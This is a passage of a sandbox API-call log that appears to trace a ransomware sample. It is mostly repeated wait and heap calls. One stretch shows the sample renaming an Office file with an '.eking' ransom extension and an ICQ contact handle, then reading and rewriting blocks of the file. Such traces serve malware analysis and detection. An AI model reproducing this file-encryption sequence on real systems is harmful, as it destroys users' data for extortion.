(hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.310] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.310] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.310] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.311] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.311] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.311] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.311] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.311] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.311] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.311] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.311] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.311] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.312] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.312] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.312] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.312] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.312] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.312] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.312] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.312] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.312] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.313] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.313] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.313] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.313] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.313] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.313] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.313] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.313] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.314] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.314] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.314] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.314] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.314] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.314] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.314] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.314] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.314] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.315] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.315] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.315] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.315] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.315] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.315] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.315] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.315] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.315] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.316] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.316] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.316] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.316] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.316] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.316] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.316] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.316] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.316] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.317] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.317] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.317] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.317] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.317] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.317] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.317] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.317] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.317] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.318] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.318] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.318] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.318] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.318] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.318] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.318] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.318] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.318] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.319] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.319] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.319] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.319] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.319] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.319] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.319] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.319] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.319] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.320] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.320] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.320] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.320] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.320] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.320] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.335] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.336] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.337] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.338] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.339] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.340] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.341] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.342] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.343] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.344] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.345] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.346] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.347] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.348] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.348] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.348] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.348] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.348] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0088.464] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0088.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZMAIN.ACCDE.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwzmain.accde.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0088.471] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x383fc28 | out: lpNewFilePointer=0x0) returned 1 [0088.471] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x383fc28 | out: lpNewFilePointer=0x0) returned 1 [0088.471] ReadFile (in: hFile=0x31c, lpBuffer=0x3cdc058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x383fc34, lpOverlapped=0x0 | out: lpBuffer=0x3cdc058*, lpNumberOfBytesRead=0x383fc34*=0x40000, lpOverlapped=0x0) returned 1 [0088.540] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x2f3000, lpNewFilePointer=0x0, dwMoveMethod=0x383fc28 | out: lpNewFilePointer=0x0) returned 1 [0088.540] ReadFile (in: hFile=0x31c, lpBuffer=0x3d1c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x383fc34, lpOverlapped=0x0 | out: lpBuffer=0x3d1c058*, lpNumberOfBytesRead=0x383fc34*=0x40000, lpOverlapped=0x0) returned 1 [0088.565] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x899000, lpNewFilePointer=0x0, dwMoveMethod=0x383fc28 | out: lpNewFilePointer=0x0) returned 1 [0088.565] ReadFile (in: hFile=0x31c, lpBuffer=0x3d5c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x383fc34, lpOverlapped=0x0 | out: lpBuffer=0x3d5c058*, lpNumberOfBytesRead=0x383fc34*=0x40000, lpOverlapped=0x0) returned 1 [0088.609] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x383fd98 | out: lpNewFilePointer=0x0) returned 1 [0088.609] WriteFile (in: hFile=0x31c, lpBuffer=0x3cdc020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x383fd90, lpOverlapped=0x0 | out: lpBuffer=0x3cdc020*, lpNumberOfBytesWritten=0x383fd90*=0xc0112, lpOverlapped=0x0) returned 1 [0088.671] SetEndOfFile (hFile=0x31c) returned 1 [0088.678] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x899000, lpNewFilePointer=0x0, dwMoveMethod=0x383fc30 | out: lpNewFilePointer=0x0) returned 1 [0088.678] WriteFile (in: hFile=0x31c, lpBuffer=0x3d9c14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x383fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3d9c14a*, lpNumberOfBytesWritten=0x383fc3c*=0x40000, lpOverlapped=0x0) returned 1 [0088.681] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x2f3000, lpNewFilePointer=0x0, dwMoveMethod=0x383fc30 | out: lpNewFilePointer=0x0) returned 1 [0088.681] WriteFile (in: hFile=0x31c, lpBuffer=0x3d9c14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x383fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3d9c14a*, lpNumberOfBytesWritten=0x383fc3c*=0x40000, lpOverlapped=0x0) returned 1 [0088.872] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x383fc30 | out: lpNewFilePointer=0x0) returned 1 [0088.872] WriteFile (in: hFile=0x31c, lpBuffer=0x3d9c14a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x383fc3c, lpOverlapped=0x0 | out: lpBuffer=0x3d9c14a*, lpNumberOfBytesWritten=0x383fc3c*=0x40000, lpOverlapped=0x0) returned 1 [0088.884] CloseHandle (hObject=0x31c) returned 1 [0092.967] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) Thread: id = 24 os_tid = 0x12fc [0075.354] GetProcessHeap () returned 0x11a0000 [0075.354] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3ae0738 [0075.354] GetProcessHeap () returned 0x11a0000 [0075.355] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3af0740 [0075.355] GetProcessHeap () returned 0x11a0000 [0075.355] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x28) returned 0x11cd3d8 [0075.355] GetProcessHeap () returned 0x11a0000 [0075.355] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x110102) returned 0x3df2020 [0075.359] GetProcessHeap () returned 0x11a0000 [0075.359] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x50) returned 0x11c5368 [0075.359] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0075.359] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0075.359] Wow64DisableWow64FsRedirection (in: OldValue=0x397f854 | out: OldValue=0x397f854*=0x0) returned 1 [0075.359] GetProcessHeap () returned 0x11a0000 [0075.359] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c5368 | out: hHeap=0x11a0000) returned 1 [0077.263] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.263] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.263] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.263] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.264] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.264] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.264] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.264] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.264] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.264] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.264] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.264] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.265] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.265] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.265] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.265] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.265] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.265] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.265] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.265] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.266] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.266] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.266] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.266] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.266] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.266] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.266] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.266] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.267] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.267] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0077.267] WaitForSingleObject (hHandle=0x2ec, 